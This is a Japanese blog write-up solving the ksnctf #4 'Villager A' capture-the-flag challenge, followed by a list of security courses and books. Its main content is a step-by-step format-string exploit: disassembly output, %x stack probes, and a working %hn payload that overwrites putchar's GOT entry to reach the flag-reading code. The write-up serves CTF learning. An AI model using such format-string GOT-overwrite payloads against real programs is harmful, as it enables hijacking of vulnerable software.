ksnctf #4 “Villager A”を解く

プログラミング

ksnctf #4 “Villager A”を解く

Problem

下記の情報が与えられており、ここからFLAG_?????を得る。

ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8

Solution

とりあえずTerminalでsshでログインする。

% ssh q4@ctfq.u1tramarine.blue -p 10004

なぜかフリーズしてできなかったので、vagrantでUbuntuを立ち上げてログインする。

% vagrant up
% vagrant ssh
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-74-generic x86_64)
$ ssh q4@ctfq.u1tramarine.blue -p 10004
q4@ctfq.u1tramarine.blue's password: 
[q4@eceec62b961b ~]$ ls
flag.txt  q4
[q4@eceec62b961b ~]$ ./q4
What's your name?
Tomoki
Hi, Tomoki

Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.

まず、stringsコマンドでバイナリファイルの可読部分かつ英語で始まるものを表示する。

$ strings ./q4 | grep \^[a-zA-Z]
libstdc++.so.6
libm.so.6
libgcc_s.so.1
libc.so.6
fopen
puts
putchar
stdin
printf
fgets
strcmp
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
What's your name?
Hi, 
Do you want the flag?
I see. Good bye.
flag.txt
GCC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3)
crtstuff.c
completed.5972
dtor_idx.5974
frame_dummy
q4.cpp
data_start
putchar@@GLIBC_2.0
fgets@@GLIBC_2.0
fopen@@GLIBC_2.1
printf@@GLIBC_2.0
stdin@@GLIBC_2.0
puts@@GLIBC_2.0
strcmp@@GLIBC_2.0
main

21行目にflag.txtがあることが分かる。また6行目に

gdbを使って、q4をアセンブリで見てみる

[q4@eceec62b961b ~]$ gdb -q q4
(gdb) disass main
Dump of assembler code for function main:
   0x080485b4 <+0>:	push   %ebp
   0x080485b5 <+1>:	mov    %esp,%ebp
   0x080485b7 <+3>:	and    $0xfffffff0,%esp
   0x080485ba <+6>:	sub    $0x420,%esp
   0x080485c0 <+12>:	movl   $0x80487a4,(%esp)
   0x080485c7 <+19>:	call   0x80484c4 <puts@plt>
   0x080485cc <+24>:	mov    0x8049a04,%eax
   0x080485d1 <+29>:	mov    %eax,0x8(%esp)
   0x080485d5 <+33>:	movl   $0x400,0x4(%esp)
   0x080485dd <+41>:	lea    0x18(%esp),%eax
   0x080485e1 <+45>:	mov    %eax,(%esp)
   0x080485e4 <+48>:	call   0x8048484 <fgets@plt>
   0x080485e9 <+53>:	movl   $0x80487b6,(%esp)
   0x080485f0 <+60>:	call   0x80484b4 <printf@plt>
   0x080485f5 <+65>:	lea    0x18(%esp),%eax
   0x080485f9 <+69>:	mov    %eax,(%esp)
   0x080485fc <+72>:	call   0x80484b4 <printf@plt>
   0x08048601 <+77>:	movl   $0xa,(%esp)
   0x08048608 <+84>:	call   0x8048474 <putchar@plt>
   0x0804860d <+89>:	movl   $0x1,0x418(%esp)
   0x08048618 <+100>:	jmp    0x8048681 <main+205>
   0x0804861a <+102>:	movl   $0x80487bb,(%esp)
   0x08048621 <+109>:	call   0x80484c4 <puts@plt>
   0x08048626 <+114>:	mov    0x8049a04,%eax
   0x0804862b <+119>:	mov    %eax,0x8(%esp)
   0x0804862f <+123>:	movl   $0x400,0x4(%esp)
   0x08048637 <+131>:	lea    0x18(%esp),%eax
   0x0804863b <+135>:	mov    %eax,(%esp)
   0x0804863e <+138>:	call   0x8048484 <fgets@plt>
   0x08048643 <+143>:	test   %eax,%eax
   0x08048645 <+145>:	sete   %al
   0x08048648 <+148>:	test   %al,%al
   0x0804864a <+150>:	je     0x8048656 <main+162>
   0x0804864c <+152>:	mov    $0x0,%eax
   0x08048651 <+157>:	jmp    0x80486dc <main+296>
   0x08048656 <+162>:	movl   $0x80487d1,0x4(%esp)
   0x0804865e <+170>:	lea    0x18(%esp),%eax
   0x08048662 <+174>:	mov    %eax,(%esp)
   0x08048665 <+177>:	call   0x80484e4 <strcmp@plt>
   0x0804866a <+182>:	test   %eax,%eax
   0x0804866c <+184>:	jne    0x8048681 <main+205>
   0x0804866e <+186>:	movl   $0x80487d5,(%esp)
   0x08048675 <+193>:	call   0x80484c4 <puts@plt>
   0x0804867a <+198>:	mov    $0x0,%eax
   0x0804867f <+203>:	jmp    0x80486dc <main+296>
   0x08048681 <+205>:	mov    0x418(%esp),%eax
   0x08048688 <+212>:	test   %eax,%eax
   0x0804868a <+214>:	setne  %al
   0x0804868d <+217>:	test   %al,%al
   0x0804868f <+219>:	jne    0x804861a <main+102>
--Type <RET> for more, q to quit, c to continue without paging--
   0x08048691 <+221>:	movl   $0x80487e6,0x4(%esp)
   0x08048699 <+229>:	movl   $0x80487e8,(%esp)
   0x080486a0 <+236>:	call   0x80484a4 <fopen@plt>
   0x080486a5 <+241>:	mov    %eax,0x41c(%esp)
   0x080486ac <+248>:	mov    0x41c(%esp),%eax
   0x080486b3 <+255>:	mov    %eax,0x8(%esp)
   0x080486b7 <+259>:	movl   $0x400,0x4(%esp)
   0x080486bf <+267>:	lea    0x18(%esp),%eax
   0x080486c3 <+271>:	mov    %eax,(%esp)
   0x080486c6 <+274>:	call   0x8048484 <fgets@plt>
   0x080486cb <+279>:	lea    0x18(%esp),%eax
   0x080486cf <+283>:	mov    %eax,(%esp)
   0x080486d2 <+286>:	call   0x80484b4 <printf@plt>
   0x080486d7 <+291>:	mov    $0x0,%eax
   0x080486dc <+296>:	leave  
   0x080486dd <+297>:	ret    
End of assembler dump. 

57行目にfopen()があるが、53行目にジャンプ命令jneがあるのでこの処理は実行されていない。

printf()があるので書式文字列攻撃ができるか試してみる。

[q4@eceec62b961b ~]$ echo 'aaaa %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, aaaa 400 f7d0b580 ffcdbff8 6 0 61616161 20782520

Do you want the flag?
[q4@eceec62b961b ~]$ echo 'abcd %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, abcd 400 f7cc2580 ffe5ec28 6 0 64636261 20782520

Do you want the flag?
[q4@eceec62b961b ~]$ echo 'aaaabbbb %x %x %x %x %x %x %x' | ./q4
What's your name?
Hi, aaaabbbb 400 f7cf1580 ffc62988 6 0 61616161 62626262

Do you want the flag?
[q4@eceec62b961b ~]$ echo -e "\x1 %x %x %x %x %x %x %x %x " | ./q4
What's your name?
Hi,  400 f7d0b580 ffc24b78 6 0 78252001 20782520 25207825 

Do you want the flag?

書式文字列攻撃が可能だということが分かる。ここでaaaa61616161と出力されているのでスタックの6番目に格納されていることがわかる。(ASCII文字コードでaは61)。また、リトルエディアンなのでabcdのときは64636261となる。

呼び出される関数のアドレスとの値を書き換えればよいのだが、今回はputchar()のアドレスを書き換える。

main以外のアセンブリを表示したいので、objdumpで表示する。

[q4@eceec62b961b ~]$ objdump -d -M intel ./q4

mainputchar()の部分を抜き出す。

 8048601:	c7 04 24 0a 00 00 00 	mov    DWORD PTR [esp],0xa
 8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>
 804860d:	c7 84 24 18 04 00 00 	mov    DWORD PTR [esp+0x418],0x1

ここで8048474番地putchar()が呼ばれている。

8048474番地以降のputchar()の処理の部分も抜き出す。

08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    DWORD PTR ds:0x80499e0
 804847a:	68 08 00 00 00       	push   0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <.plt>

0x80499e0番地の値を参照し、そこにジャンプしている。この0x80499e0fopen()を呼び出す直前のアドレスに書き換えればよい。

ここでホストは32bitアーキテクチャなので0x80499e0から4byte(32bit)を参照する。

fopen()は以下の0x08048691番地から行われる。

 8048691:	c7 44 24 04 e6 87 04 	mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:	08 
 8048699:	c7 04 24 e8 87 04 08 	mov    DWORD PTR [esp],0x80487e8
 80486a0:	e8 ff fd ff ff       	call   80484a4 <fopen@plt>

これらを踏まえ、変換指定子%hnを使って書式文字列攻撃を行う。%hnは下位2byteに対して書き込むことができ、リトルエディアンなので0x80499e0\xe0\x99\x04\x08となる。

下記のようにすると指定子8byteと%34441xで34441byteで下位ビットに0x8691(34449)が入る。0x1084になるとオーバーフローで0x804となり、上位ビットには3319byte出力すればよい。

$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

これは%hnを使わずに表すと

echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4

のようになる。

これでFLAGを得ることができた。

CTF, セキュリティの参考資料

Udemy

個人的にUdemyが動画で分かりやすいし、値段も安いのでおすすめです。

実践的なものが特に役立ちます。

ワイトハッカー入門

ハッキング技術入門

サイバーセキュリティ~ハッキングと防御 ビギナー編

ホワイトハッカー養成講座(ハッキングツール、Webアプリ攻略、不正侵入検知)

ホワイトハッカー養成講座 (インシデントハンドリング&Windowsアタック編)

サイバー攻撃:侵入から権限昇格まで

書籍

  • セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
  • セキュリティコンテストのためのCTF問題集
  • デバッガによるx86プログラム解析入門
  • リバースエンジニアリングバイブル
  • 大熱血アセンブラ入門
  • 楽しいバイナリの歩き方
  • Reverse Engineering for Beginners
  • HACKING: 美しき策謀
  • 秘密の国のアリス
  • 暗号解読
  • 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版

コメント

タイトルとURLをコピーしました